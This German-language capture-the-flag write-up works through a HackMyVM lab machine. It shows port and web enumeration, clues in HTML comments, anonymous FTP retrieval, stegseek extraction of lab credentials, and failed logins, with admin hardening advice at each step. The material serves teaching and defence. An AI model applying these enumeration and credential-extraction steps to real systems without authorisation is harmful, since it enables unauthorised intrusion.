Verwendete Tools
Inhaltsverzeichnis
Reconnaissance
ARP-Scan: 192.168.2.175 08:00:27:d2:e7:e2 PCS Systemtechnik GmbH :::::::::::::::::::::: Nmap nur offene Ports Ausgabe ::::::::::::::::::::::: ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ 21/tcp open ftp vsftpd 3.0.5 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
Analyse: Die Aufklärungsphase begann mit einem ARP-Scan, der die IP-Adresse `192.168.2.175` im lokalen Netzwerk identifizierte. Ein anschließender schneller Nmap-Scan enthüllte drei offene TCP-Ports: 21 (FTP), 22 (SSH) und 80 (HTTP). Die Versionserkennung liefert uns erste Anhaltspunkte zu den laufenden Diensten: `vsftpd 3.0.5`, `OpenSSH 8.2p1` und ein `Apache httpd 2.4.41` auf einem Ubuntu-System.
Bewertung: Diese drei Ports stellen die primären Angriffsvektoren dar. Jeder dieser Dienste hat Potenzial für Schwachstellen. FTP ist oft für anonymen Zugriff oder schwache Passwörter anfällig, SSH erfordert gültige Anmeldeinformationen und der Webserver auf Port 80 ist ein breites Feld für verschiedenste Web-Schwachstellen. Die Angriffsfläche ist klar definiert.
Empfehlung (Pentester): Führe einen detaillierteren Nmap-Scan mit Skripten (`-sC`) und erweiterter Versionserkennung (`-sV`) durch, um mehr über die Konfiguration der Dienste zu erfahren. Überprüfe den FTP-Server sofort auf anonymen Zugriff. Beginne parallel mit der Enumeration des Webservers.
Empfehlung (Admin): Stellen Sie sicher, dass alle laufenden Dienste auf dem neuesten Stand sind. Deaktivieren Sie nicht benötigte Dienste. Der FTP-Dienst sollte, falls nicht zwingend erforderlich, deaktiviert oder zumindest sehr restriktiv konfiguriert werden (kein anonymer Zugriff, starke Passwörter, Benutzer-Jails).
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ ::::::::::::::::::::::::::::: Nmap volle Ausgabe ::::::::::::::::::::::::::: ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬ Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-20 16:26 EDT Nmap scan report for Lazzycorp.hmv (192.168.2.175) Host is up (0.00016s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.5 | ftp-anon: Anonymous FTP login allowed (FTP code 230) |_drwxr-xr-x 2 114 119 4096 Jul 16 12:35 pub | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:192.168.2.197 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.5 - secure, fast, stable |_End of status 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 46:82:43:4b:ef:e0:b0:50:04:c0:d5:2c:3c:5c:7d:4a (RSA) | 256 52:79:ea:92:35:b4:f2:5d:b9:14:f0:21:1c:eb:2f:66 (ECDSA) |_ 256 98:fa:95:86:04:75:31:39:c6:60:26:9e:26:86:82:88 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) | http-robots.txt: 2 disallowed entries |_/cms-admin.php /auth-LazyCorp-dev/ |_http-title: LazyCorp | Empowering Devs |_http-server-header: Apache/2.4.41 (Ubuntu) MAC Address: 08:00:27:D2:E7:E2 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4) Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.16 ms Lazzycorp.hmv (192.168.2.175)
Analyse: Der detaillierte Nmap-Scan liefert zwei kritische Informationen. Erstens bestätigt das `ftp-anon`-Skript, dass ein anonymer FTP-Login erlaubt ist und findet im Stammverzeichnis ein Verzeichnis namens `pub`. Zweitens findet das `http-robots.txt`-Skript eine `robots.txt`-Datei auf dem Webserver, die zwei potenziell interessante Pfade verbirgt: `/cms-admin.php` und `/auth-LazyCorp-dev/`.
Bewertung: Dies sind massive Fortschritte. Der anonyme FTP-Zugriff ist eine direkte Tür ins System, um potenziell sensible Dateien zu finden. Die `robots.txt`-Einträge sind klassische "versteckte" Pfade, die oft zu Administrations- oder Entwickler-Panels führen und daher Hauptziele für die weitere Web-Enumeration sind.
Empfehlung (Pentester): Logge dich sofort per FTP anonym ein und untersuche den Inhalt des `pub`-Verzeichnisses gründlich. Parallel dazu, untersuche die in der `robots.txt` gefundenen Pfade mit Tools wie `gobuster` oder `feroxbuster`, um deren genauen Inhalt und Struktur zu ermitteln.
Empfehlung (Admin): Anonymer FTP-Zugriff sollte niemals aktiviert sein, es sei denn, der Server dient ausschließlich der Verteilung öffentlicher Dateien. Wenn er aktiviert ist, muss sichergestellt werden, dass in den freigegebenen Verzeichnissen keine sensiblen Informationen liegen. Einträge in `robots.txt` sollten nicht als Sicherheitsmaßnahme betrachtet werden; sie sind öffentlich einsehbar und dienen lediglich dazu, Suchmaschinen-Bots zu steuern.
Web Enumeration
- Nikto v2.5.0 --------------------------------------------------------------------------- + Target IP: 192.168.2.175 + Target Hostname: 192.168.2.175 + Target Port: 80 + Start Time: 2025-08-20 16:27:01 (GMT-4) --------------------------------------------------------------------------- + Server: Apache/2.4.41 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + No CGI Directories found (use '-C all' to force check all possible dirs) + /robots.txt: contains 2 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt + /: Server may leak inodes via ETags, header found with file /, inode: 246, size: 639791cc4ffb8, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: POST, OPTIONS, HEAD, GET . + 8104 requests: 0 error(s) and 6 item(s) reported on remote host + End Time: 2025-08-20 16:27:36 (GMT-4) (35 seconds) --------------------------------------------------------------------------- + 1 host(s) tested
Analyse: Der Web-Scanner `Nikto` wurde auf den Webserver losgelassen. Er bestätigt den Fund der `robots.txt`-Datei und meldet mehrere Best-Practice-Verstöße wie fehlende Security-Header. Eine wichtige neue Information ist, dass die Apache-Version `2.4.41` als veraltet eingestuft wird. Dies könnte auf bekannte Schwachstellen (CVEs) für diese spezifische Version hindeuten.
Bewertung: Die Bestätigung der `robots.txt` verstärkt die Priorität dieser Pfade. Die Information über die veraltete Apache-Version ist wertvoll und sollte für eine gezielte Exploit-Suche im Hinterkopf behalten werden, auch wenn oft Konfigurationsfehler ein leichterer Einstieg sind als Exploits für den Webserver selbst.
Empfehlung (Pentester): Führe eine schnelle Suche nach bekannten Exploits für Apache 2.4.41 durch. Setze jedoch den Fokus weiterhin auf die Enumeration der in `robots.txt` gefundenen Pfade, da diese mit höherer Wahrscheinlichkeit zu einer anwendungsspezifischen Schwachstelle führen.
Empfehlung (Admin): Halten Sie die Webserver-Software und alle ihre Module stets auf dem neuesten Stand, um bekannte Schwachstellen zu mitigieren. Implementieren Sie die von `Nikto` empfohlenen Security-Header (`X-Frame-Options`, `X-Content-Type-Options`), um die allgemeine Sicherheit der Webanwendung zu erhöhen.
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
::::::::::::::::::::::::: HTTP Records Permissions :::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
Allow: POST,OPTIONS,HEAD,GET
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
::::::::::::::::::::::::: HTTP-Header Verbose Scan :::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
* Trying 192.168.2.175:80...
* Connected to 192.168.2.175 (192.168.2.175) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: 192.168.2.175
> User-Agent: curl/8.14.1
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Wed, 20 Aug 2025 20:27:01 GMT
Date: Wed, 20 Aug 2025 20:27:01 GMT
< Server: Apache/2.4.41 (Ubuntu)
Server: Apache/2.4.41 (Ubuntu)
< Last-Modified: Wed, 09 Jul 2025 06:23:16 GMT
Last-Modified: Wed, 09 Jul 2025 06:23:16 GMT
< ETag: "246-639791cc4ffb8"
ETag: "246-639791cc4ffb8"
< Accept-Ranges: bytes
Accept-Ranges: bytes
< Content-Length: 582
Content-Length: 582
< Vary: Accept-Encoding
Vary: Accept-Encoding
< Content-Type: text/html
Content-Type: text/html
<
* Connection #0 to host 192.168.2.175 left intact
Analyse: Ein `curl`-Befehl mit einer `HEAD`-Anfrage wurde verwendet, um die HTTP-Header des Servers abzurufen. Dies bestätigt erneut die Server-Version `Apache/2.4.41 (Ubuntu)` und die erlaubten HTTP-Methoden. Es liefert keine neuen kritischen Informationen, dient aber der sauberen Dokumentation und Verifizierung.
Bewertung: Dieser Schritt ist ein Standardverfahren zur Informationssammlung und bestätigt die bisherigen Erkenntnisse, ohne neue Angriffsvektoren aufzudecken.
Empfehlung (Pentester): Gehe zur aktiven Enumeration mit Content-Discovery-Tools über.
Empfehlung (Admin): Um die Informationsgewinnung für Angreifer zu erschweren, kann die `Server`-Signatur in der Apache-Konfiguration mit `ServerTokens Prod` minimiert werden.
=============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://192.168.2.175/ [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: ... [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.php (Status: 403) [Size: 278] /.html (Status: 403) [Size: 278] /index.html (Status: 200) [Size: 582] /blog (Status: 301) [Size: 313] [--> http://192.168.2.175/blog/] /uploads (Status: 301) [Size: 316] [--> http://192.168.2.175/uploads/] /robots.txt (Status: 200) [Size: 55]
Analyse: Das Tool `gobuster` wurde für eine umfassende Verzeichnis-Enumeration gegen die Web-Wurzel eingesetzt. Es wurden die Verzeichnisse `/blog` und `/uploads` gefunden, die beide mit einem HTTP-Status 301 (permanente Weiterleitung) antworten, was auf existierende Verzeichnisse hindeutet. Der Scan bestätigt auch die Existenz von `index.html` und `robots.txt`.
Bewertung: Die Entdeckung von `/blog` und `/uploads` ist signifikant. Ein Blog kann sensible Informationen, Benutzernamen oder Hinweise auf verwendete Technologien enthalten. Ein `/uploads`-Verzeichnis ist immer ein hochinteressantes Ziel, da es auf eine Dateiupload-Funktionalität hindeutet, die ein primärer Vektor für Remote Code Execution sein kann.
Empfehlung (Pentester): Untersuche den Inhalt des `/blog`-Verzeichnisses manuell und mit weiteren Enumeration-Tools. Führe auch gegen `/uploads` eine Enumeration durch, um zu sehen, ob Dateien direkt aufgelistet oder erraten werden können.
Empfehlung (Admin): Deaktivieren Sie die Verzeichnisauflistung (Directory Listing) für alle Verzeichnisse auf dem Webserver. Der Zugriff auf `/uploads`-Verzeichnisse sollte, falls möglich, eingeschränkt werden. Dateien sollten mit zufälligen Namen gespeichert werden, um ein Erraten zu verhindern.
http://192.168.2.175/robots.txt Disallow: /cms-admin.php Disallow: /auth-LazyCorp-dev/
Analyse: Der Inhalt der `robots.txt`-Datei wird hier explizit angezeigt. Sie weist Suchmaschinen an, die beiden Pfade `/cms-admin.php` und `/auth-LazyCorp-dev/` nicht zu indizieren.
Bewertung: Für einen Pentester ist dies eine direkte Einladung, genau diese Pfade zu untersuchen. Solche `Disallow`-Einträge deuten fast immer auf administrative Bereiche, Login-Seiten oder andere sensible Ressourcen hin, die die Betreiber vor der Öffentlichkeit verbergen möchten.
Empfehlung (Pentester): Versuche, beide Pfade direkt im Browser aufzurufen. Führe anschließend eine gezielte Verzeichnis-Enumeration gegen `/auth-LazyCorp-dev/` durch, da es sich um ein Verzeichnis handelt.
Empfehlung (Admin): Verlassen Sie sich niemals auf `robots.txt` als Sicherheitsmechanismus. Sensible Pfade sollten durch echte Authentifizierungs- und Autorisierungsmechanismen geschützt werden. Die Verwendung von `robots.txt` macht Angreifer nur auf die Existenz dieser Pfade aufmerksam.
Web Enumeration Fortsetzung...
___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.2.175/ 🚀 Threads │ 50 📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt ... ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 9l 31w 275c http://192.168.2.175/auth-LazyCorp-dev 404 GET 9l 31w 275c http://192.168.2.175/cms-admin.php ... 200 GET 22l 100w 744c http://192.168.2.175/blog/blog.php 200 GET 17l 47w 582c http://192.168.2.175/index.html 301 GET 9l 28w 313c http://192.168.2.175/blog => http://192.168.2.175/blog/ 301 GET 9l 28w 316c http://192.168.2.175/uploads => http://192.168.2.175/uploads/ 200 GET 17l 47w 582c http://192.168.2.175/ 200 GET 2l 4w 55c http://192.168.2.175/robots.txt 200 GET 26l 136w 1060c http://192.168.2.175/blog/blog1.php 200 GET 23l 110w 876c http://192.168.2.175/blog/blog2.php 200 GET 3l 15w 123c http://192.168.2.175/blog/blog3.php 200 GET 1l 2w 23c http://192.168.2.175/dev_admin_portal/login.php ... 🚨 Caught ctrl+c 🚨 saving scan state to ferox-http_192_168_2_175_-1755723059.state ...
Analyse: Ein weiterer Scan mit `feroxbuster`, der rekursiv arbeitet, liefert deutlich mehr Details, insbesondere innerhalb des `/blog`-Verzeichnisses. Es werden mehrere Blog-Eintrags-Dateien gefunden: `blog.php`, `blog1.php`, `blog2.php` und `blog3.php`. Zusätzlich wird ein neues Verzeichnis `/dev_admin_portal` mit einer `login.php`-Seite entdeckt. Interessanterweise liefern die Pfade aus der `robots.txt` hier einen 404-Fehler, was auf eine falsche Schreibweise oder eine veraltete Konfiguration hindeuten könnte.
Bewertung: Dies ist ein enormer Fortschritt. Die Blog-Einträge sind eine wahrscheinliche Quelle für Hinweise, Benutzernamen oder Kontextinformationen. Das neu entdeckte Login-Portal `/dev_admin_portal/login.php` ist ein hochpriorisiertes Ziel. Die Tatsache, dass die Pfade aus der `robots.txt` nicht direkt funktionieren, erfordert weiteres Nachforschen (z.B. Testen verschiedener Schreibweisen).
Empfehlung (Pentester): Analysiere den Inhalt jeder einzelnen Blog-Datei sorgfältig auf versteckte Hinweise oder Kommentare im Quelltext. Untersuche die neu gefundene `login.php`-Seite auf Schwachstellen. Teste Variationen der Pfade aus der `robots.txt` (z.B. alles in Kleinbuchstaben).
Empfehlung (Admin): Alte oder ungenutzte Login-Portale sollten vollständig vom Server entfernt werden. Verzeichnisse und Dateien sollten einer konsistenten Namenskonvention folgen, um Verwirrung und Fehler zu vermeiden. Blog-Einträge oder öffentliche Inhalte dürfen niemals sensible interne Informationen oder Hinweise auf die Systemkonfiguration enthalten.
http://192.168.2.175/blog/blog.php DevLog #1: Credential Chaos ... he shared it in an image file. Classic Dev. <-- Arvind: He used note.jpg again. Let's see how long it lasts this time. -->
Analyse: Der erste Blogeintrag enthält einen kritischen Hinweis in Form eines HTML-Kommentars. Der Kommentar von "Arvind" erwähnt explizit, dass ein Entwickler ("Dev") seine Zugangsdaten in einer Bilddatei namens `note.jpg` geteilt hat.
Bewertung: Dies ist ein direkter und unmissverständlicher Hinweis. Er verbindet die Information über "vergessene Zugangsdaten" mit einem konkreten Dateinamen. Da wir auf dem anonymen FTP-Server bereits das Verzeichnis `/pub` gefunden haben, ist es äußerst wahrscheinlich, dass diese `note.jpg`-Datei dort zu finden ist.
Empfehlung (Pentester): Greife sofort auf den FTP-Server zu, navigiere in das `pub`-Verzeichnis und lade die `note.jpg`-Datei herunter. Analysiere das Bild anschließend auf sichtbare Informationen und versteckte Daten (Steganographie).
Empfehlung (Admin): Entwickler und Mitarbeiter müssen strengstens angewiesen werden, niemals Zugangsdaten oder andere sensible Informationen in ungesicherten Formaten oder über unsichere Kanäle zu teilen. Die Verwendung von Kommentaren im öffentlichen Quelltext zur Kommunikation über interne Vorgänge ist inakzeptabel.
http://192.168.2.175/blog/blog1.php DevLog #2: Transfer Woes and Lost Data ... "Always keep the data intact by using the proper means." <-- Hidden Hint: Sometimes the simplest transfer method—one that preserves every byte—protects the hidden secrets best. -->
Analyse: Der zweite Blogeintrag liefert einen weiteren, subtileren Hinweis. Es wird über Datenverlust bei Dateiübertragungen gesprochen und ein versteckter Hinweis im Kommentar betont, wie wichtig es ist, eine Methode zu verwenden, die "jedes Byte bewahrt", um "versteckte Geheimnisse" zu schützen.
Bewertung: Dies ist ein starker Hinweis auf Steganographie. Der Hinweis deutet darauf hin, dass die `note.jpg`-Datei nicht nur sichtbare Informationen enthält, sondern dass zusätzliche Daten in den Bytes des Bildes selbst versteckt sind. Der Standard-FTP-Übertragungsmodus (ASCII) kann Bilddaten beschädigen. Man muss in den `BINARY`-Modus wechseln, um die Datei intakt herunterzuladen.
Empfehlung (Pentester): Stelle beim Herunterladen der `note.jpg`-Datei per FTP sicher, dass der `BINARY`-Übertragungsmodus aktiviert ist (`bin`-Befehl im FTP-Client). Dies stellt sicher, dass die Datei exakt Byte für Byte kopiert wird und eventuell versteckte Daten erhalten bleiben.
Empfehlung (Admin): Erneut: Sensible Informationen oder Hinweise auf Sicherheitspraktiken haben in öffentlichen Blogeinträgen nichts zu suchen.
http://192.168.2.175/blog/blog2.php DevLog #3: Reset Ritual ... a script that resets everything back to default. ... The script lives somewhere under /usr/local/bin/ if anyone needs it. <-- Arvind: Reset script was never meant to be writeable by anyone... yet here we are. -->
Analyse: Der dritte Blogeintrag spricht von einem Reset-Skript, das sich unter `/usr/local/bin/` befindet. Der Kommentar von Arvind deutet an, dass dieses Skript möglicherweise unsichere Berechtigungen hat ("never meant to be writeable by anyone...").
Bewertung: Dies ist ein extrem wertvoller Hinweis für die Privilege-Escalation-Phase. Ein Skript in `/usr/local/bin/`, das möglicherweise von einem niedrig privilegierten Benutzer beschrieben werden kann und eventuell von einem Cron-Job oder einem anderen privilegierten Prozess ausgeführt wird, ist ein klassischer Vektor zur Rechteausweitung.
Empfehlung (Pentester): Notiere dir diesen Hinweis für die Post-Exploitation-Phase. Sobald ein Shell-Zugang erlangt wurde, muss das Verzeichnis `/usr/local/bin/` sofort auf dieses Skript und dessen Berechtigungen überprüft werden.
Empfehlung (Admin): Skripte in Systemverzeichnissen wie `/usr/local/bin/` müssen restriktive Berechtigungen haben. Sie sollten nur dem `root`-Benutzer gehören und nur von diesem beschreibbar sein. Regelmäßige Überprüfungen der Dateiberechtigungen sind unerlässlich.
http://192.168.2.175/blog/blog3.php internal dev panel? <a href="../dev_admin_portal/login.php">internal dev panel?</a> <-- Arvind: bro you forgot to disable that old login -->
Analyse: Der vierte Blogeintrag enthält einen direkten Link zum `/dev_admin_portal/login.php`, den `feroxbuster` bereits gefunden hatte. Der Kommentar bestätigt, dass es sich um ein "altes" Login-Panel handelt, das eigentlich deaktiviert sein sollte.
Bewertung: Dies bestätigt die Relevanz des Login-Portals. Veraltete, vergessene Systeme sind oft anfällig, da sie nicht mehr gewartet werden und bekannte Schwachstellen aufweisen können.
Empfehlung (Pentester): Der Fokus liegt nun klar auf dem FTP-Server (um `note.jpg` zu bekommen) und den beiden Login-Portalen (`/dev_admin_portal/login.php` und das aus der `robots.txt` stammende `/auth-lazycorp-dev/`).
Empfehlung (Admin): Deaktivieren Sie ungenutzte Anwendungen nicht nur durch das Entfernen von Links, sondern deinstallieren Sie sie vollständig vom Server, um zu verhindern, dass sie als vergessene Angriffsvektoren dienen.
Initial Access
Connected to 192.168.2.175. 220 (vsFTPd 3.0.5) Name (192.168.2.175:AlienTec): Anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls -la 229 Entering Extended Passive Mode (|||33669|) 150 Here comes the directory listing. dr-xr-xr-x 3 114 119 4096 Jul 05 14:50 . dr-xr-xr-x 3 114 119 4096 Jul 05 14:50 .. drwxr-xr-x 2 114 119 4096 Jul 16 12:35 pub 226 Directory send OK. ftp> cd pub 250 Directory successfully changed. ftp> ls -la 229 Entering Extended Passive Mode (|||55507|) 150 Here comes the directory listing. drwxr-xr-x 2 114 119 4096 Jul 16 12:35 . dr-xr-xr-x 3 114 119 4096 Jul 05 14:50 .. -rw-r--r-- 1 0 0 1366786 Jul 16 12:35 note.jpg 226 Directory send OK. ftp> get note.jpg local: note.jpg remote: note.jpg 229 Entering Extended Passive Mode (|||60445|) 150 Opening BINARY mode data connection for note.jpg (1366786 bytes). 100% |*************************************************| 1334 KiB 150.77 MiB/s 00:00 ETA 226 Transfer complete. 1366786 bytes received in 00:00 (148.18 MiB/s) ftp>
Analyse: Basierend auf den Hinweisen wurde eine Verbindung zum FTP-Server hergestellt. Der anonyme Login (Benutzer: `Anonymous`, leeres Passwort) war erfolgreich. Nach dem Wechsel in das `pub`-Verzeichnis wurde die erwartete Datei `note.jpg` gefunden und erfolgreich heruntergeladen. Der FTP-Client zeigt an, dass der `BINARY`-Modus für die Übertragung verwendet wurde, was den Hinweisen aus dem Blog entspricht.
Bewertung: Der Plan hat perfekt funktioniert. Wir haben nun die Artefakt-Datei `note.jpg` in unserem Besitz. Die Analyse dieser Datei ist der nächste entscheidende Schritt zum initialen Zugriff.
Empfehlung (Pentester): Öffne das Bild, um nach sichtbaren Informationen zu suchen. Verwende anschließend Steganographie-Tools wie `steghide`, `zsteg` oder `stegseek`, um nach versteckten Daten innerhalb der Bilddatei zu suchen.
Empfehlung (Admin): Anonyme FTP-Uploads sind gefährlich, aber auch anonyme Downloads können ein Risiko darstellen, wenn versehentlich sensible Informationen preisgegeben werden. Deaktivieren Sie anonymen Zugriff, wenn er nicht explizit für einen öffentlichen Zweck benötigt wird.
note.jpg The Password for your username dev is shared :)
Analyse: Das heruntergeladene Bild `note.jpg` wurde geöffnet. Es enthält sichtbaren Text, der auf den ersten Blick wie das Passwort für den Benutzer `dev` aussieht. Der Text lautet "The Password for your username dev is shared :)" gefolgt von einem Smiley, der das Passwort sein könnte.
Bewertung: Dies scheint ein einfacher Fund zu sein, könnte aber auch eine falsche Fährte sein, um von den in Steganographie versteckten, echten Daten abzulenken. Ein Versuch mit diesem "Passwort" ist es wert, aber die Hinweise aus dem Blog deuten stark darauf hin, dass die wahren Informationen versteckt sind.
Empfehlung (Pentester): Probiere ein schnelles Login über SSH oder FTP mit dem Benutzer `dev` und dem visuellen Passwort. Unabhängig vom Ergebnis, fahre mit der Steganographie-Analyse fort.
Empfehlung (Admin): Das Speichern von Passwörtern in Bildern, egal ob sichtbar oder versteckt, ist eine extrem unsichere Praktik und muss unterbunden werden.
...
dev@lazzycorp.hmv's password:
Permission denied, please try again.
Name (192.168.2.175:AlienTec): dev
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
Analyse: Wie vermutet, wurde versucht, sich mit dem Benutzer `dev` und dem im Bild sichtbaren Smiley als Passwort sowohl bei SSH als auch bei FTP anzumelden. Beide Versuche schlugen fehl.
Bewertung: Dies bestätigt, dass der sichtbare Text eine falsche Fährte war. Die wahren Anmeldeinformationen müssen, wie in den Blog-Posts angedeutet, in der Bilddatei versteckt sein.
Empfehlung (Pentester): Setze jetzt Steganographie-Tools ein, um die versteckten Daten aus `note.jpg` zu extrahieren. `stegseek` ist hier eine gute Wahl, da es den Prozess des Brute-Forcing von Passphrasen automatisiert.
Empfehlung (Admin): Ein Intrusion Prevention System (IPS) kann so konfiguriert werden, dass es wiederholte fehlgeschlagene Login-Versuche von derselben IP-Adresse erkennt und diese temporär oder permanent blockiert, um Brute-Force-Angriffe zu verlangsamen.
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek [i] Found passphrase: "" [i] Original filename: "creds.txt". [i] Extracting to "note.jpg.out".
Username: dev
Password: d3v3l0pm3nt!nt3rn
Analyse: Das Tool `stegseek` wurde auf die Datei `note.jpg` angesetzt, mit der `rockyou.txt` als Wortliste für die Passphrase. `stegseek` war erfolgreich und fand heraus, dass die versteckten Daten mit einer leeren Passphrase ("") geschützt waren. Es extrahierte eine Datei namens `creds.txt`, deren Inhalt die echten Anmeldeinformationen enthielt: `dev` mit dem Passwort `d3v3l0pm3nt!nt3rn`.
Bewertung: Das ist der Durchbruch für den initialen Zugriff. Wir haben nun ein valides Set an Anmeldeinformationen. Die vorherigen fehlgeschlagenen Versuche und die Hinweise im Blog haben uns direkt zu dieser Lösung geführt.
Empfehlung (Pentester): Versuche sofort, dich mit diesen neuen Anmeldeinformationen bei allen verfügbaren Diensten (SSH, FTP, Web-Panels) anzumelden, um den Einstiegspunkt zu finden.
Empfehlung (Admin): Die Verwendung von Steganographie zum Verstecken von Informationen ist keine wirksame Sicherheitsmaßnahme ("Security through obscurity"). Sensible Daten müssen immer durch starke Kryptographie geschützt werden, unabhängig davon, wie sie gespeichert oder übertragen werden.
Initial Access Fortsetzung...
dev@lazzycorp.hmv's password: Permission denied, please try again. dev@lazzycorp.hmv's password: Permission denied, please try again. dev@lazzycorp.hmv's password: dev@lazzycorp.hmv: Permission denied (publickey,password).
Connected to 192.168.2.175.
220 (vsFTPd 3.0.5)
Name (192.168.2.175:AlienTec): dev
331 Please specify the password.
Password:
530 Login incorrect.
ftp: Login failed
Analyse: Mit den neu gewonnenen, echten Anmeldeinformationen (`dev:d3v3l0pm3nt!nt3rn`) wurden erneut Login-Versuche bei SSH und FTP unternommen. Überraschenderweise schlugen beide Versuche fehl. Dies deutet darauf hin, dass diese Anmeldeinformationen nicht für die Standarddienste SSH oder FTP gelten.
Bewertung: Das ist ein wichtiger Befund. Die Anmeldeinformationen müssen für einen der anderen entdeckten Einstiegspunkte bestimmt sein – die Web-Login-Panels. Die `robots.txt` hat uns die Pfade `/cms-admin.php` und `/auth-LazyCorp-dev/` gezeigt. Diese sind nun die primären Ziele.
Empfehlung (Pentester): Teste die Anmeldeinformationen an den beiden Web-Login-Portalen. Beginne mit `/auth-LazyCorp-dev/`, da dieser Pfad vielversprechender klingt.
Empfehlung (Admin): Vermeiden Sie die Wiederverwendung von Passwörtern über verschiedene Dienste hinweg. In diesem Fall scheint es jedoch, dass für jeden Dienst ein eigenes (oder gar kein) Passwort verwendet wird, was die Komplexität für den Angreifer erhöht. Stellen Sie sicher, dass alle extern erreichbaren Dienste (SSH, Web-Panels) durch Mechanismen wie `fail2ban` gegen Brute-Force-Angriffe geschützt sind.
GET /dev_admin_portal/login.php HTTP/1.1 Host: 192.168.2.175 ... HTTP/1.1 200 OK ... Content-Type: text/html; charset=UTF-8 <h1>Access Denied</h1>
Analyse: Ein direkter Aufruf der `login.php` im `/dev_admin_portal`, die im Blog verlinkt war, resultiert in einer "Access Denied"-Meldung. Dies deutet darauf hin, dass der Zugriff möglicherweise auf bestimmte IP-Adressen beschränkt ist oder andere serverseitige Kontrollen existieren.
Bewertung: Dieser Pfad scheint vorerst eine Sackgasse zu sein. Der Fokus verlagert sich auf den zweiten in der `robots.txt` gefundenen Pfad.
Empfehlung (Pentester): Konzentriere dich auf den Pfad `/auth-LazyCorp-dev/`.
